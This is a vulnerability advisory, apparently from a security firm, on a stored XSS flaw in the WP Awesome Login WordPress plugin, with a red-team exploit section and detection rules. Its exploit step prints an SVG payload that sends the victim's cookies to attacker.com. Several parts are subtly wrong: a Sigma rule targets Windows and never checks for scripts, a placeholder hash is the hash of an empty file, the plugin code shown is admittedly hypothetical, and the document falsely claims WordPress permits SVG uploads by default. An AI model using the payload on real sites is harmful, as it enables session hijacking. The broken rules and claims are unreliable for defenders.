CVE-2024-9456

Executive Summary

CVE-2024-9456 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Awesome Login WordPress plugin, affecting all versions up to and including 0.4.0. The flaw resides in insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level privileges or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) accesses the uploaded SVG file, the injected script executes within the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin fails to validate SVG file content, allowing attackers to embed <script> tags or event handlers within the SVG XML.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the WP Awesome Login plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: Required (victim must access the SVG file)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with Author-level privileges, but the impact can be severe if an administrator views the malicious SVG.

Deep Dive & Mechanics

The WP Awesome Login plugin allows authenticated users to upload SVG files (e.g., for custom login logos). The vulnerability arises because the plugin does not sanitize SVG file content. SVG files are XML-based and can contain JavaScript via <script> tags or event attributes like onload.

Attack Flow:

1. An attacker with Author-level access logs into WordPress.
2. The attacker uploads a crafted SVG file (e.g., malicious.svg) containing:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert('XSS');
     </script>
   </svg>
   

3. The plugin stores the file without stripping the <script> tag.
4. When an administrator or other user views the SVG file (e.g., via the media library or a page displaying the login form), the script executes.

Root Cause: The plugin uses wp_check_filetype_and_ext() to validate file extensions but does not inspect the file content. SVG files are allowed by default in WordPress for Author-level users, but the plugin fails to apply additional sanitization (e.g., using wp_kses() or a dedicated SVG sanitizer).

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical, based on plugin behavior):

// In the upload handler, no sanitization of SVG content
$file = $_FILES['file'];
$upload = wp_handle_upload($file, array('test_form' => false));
// No call to wp_kses() or SVG sanitizer

Patched Code (recommended):

// After upload, sanitize SVG content
$file_content = file_get_contents($upload['file']);
$sanitized = wp_kses($file_content, array(
    'svg' => array(
        'xmlns' => array(),
        'viewBox' => array(),
        'width' => array(),
        'height' => array(),
    ),
    'path' => array('d' => array()),
    // Allow only safe SVG elements and attributes
));
file_put_contents($upload['file'], $sanitized);

Alternatively, use a dedicated SVG sanitizer library like enshrined/svg-sanitize.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Awesome Login plugin <= 0.4.0
• Authenticated user with Author-level privileges

Steps:

1. Log in as an Author.
2. Navigate to Media > Add New.
3. Upload the following SVG file (xss.svg):

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       document.location='https://attacker.com/steal.php?cookie='+document.cookie;
     </script>
   </svg>
   

4. Note the URL of the uploaded SVG (e.g., https://target.com/wp-content/uploads/xss.svg).
5. Send the link to an administrator or wait for them to view the media library.

Expected Result: The victim's browser executes the JavaScript, exfiltrating cookies or performing other actions.

Blue Team (Detection & Hardening)

Detection:

• Monitor file uploads for SVG files containing <script> tags or event handlers.
• Use WAF rules to block SVG uploads with embedded JavaScript.

Hardening:

• Disable SVG uploads for Author-level users via WordPress roles.
• Install a security plugin that sanitizes SVG files (e.g., Wordfence, Sucuri).
• Apply the patch from the plugin vendor if available.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.svg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • Outbound HTTP requests to attacker.com/steal.php?cookie=...
• File System:
  • SVG files in /wp-content/uploads/ containing <script> tags.
• Logs:
  • WordPress debug log entries showing failed sanitization attempts.

Detection Engineering

YARA Rule

rule CVE_2024_9456_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-9456"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9456"
    strings:
        $svg_start = /<\s*svg/i
        $script_tag = /<\s*script/i
        $onload = /onload\s*=/i
        $onerror = /onerror\s*=/i
    condition:
        $svg_start and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: CVE-2024-9456 SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-content\uploads\'
        TargetFilename|endswith: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9456 SVG XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal.php?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads for Author-level users by modifying WordPress roles (e.g., using a plugin like "User Role Editor").
2. Remove all uploaded SVG files from the media library that are not explicitly trusted.
3. Install a Web Application Firewall (WAF) rule to block SVG files containing <script> tags.

Long-Term Fix:

• Update the plugin to a patched version (if released). Currently, no patch is available.
• Replace the plugin with an alternative that properly sanitizes SVG uploads.
• Implement server-side SVG sanitization using a library like enshrined/svg-sanitize.

Vendor Contact: The plugin vendor (WP Awesome Login) has not released a patch. Consider forking the plugin or switching to a maintained alternative.

Valters IT
Securing Digital Frontiers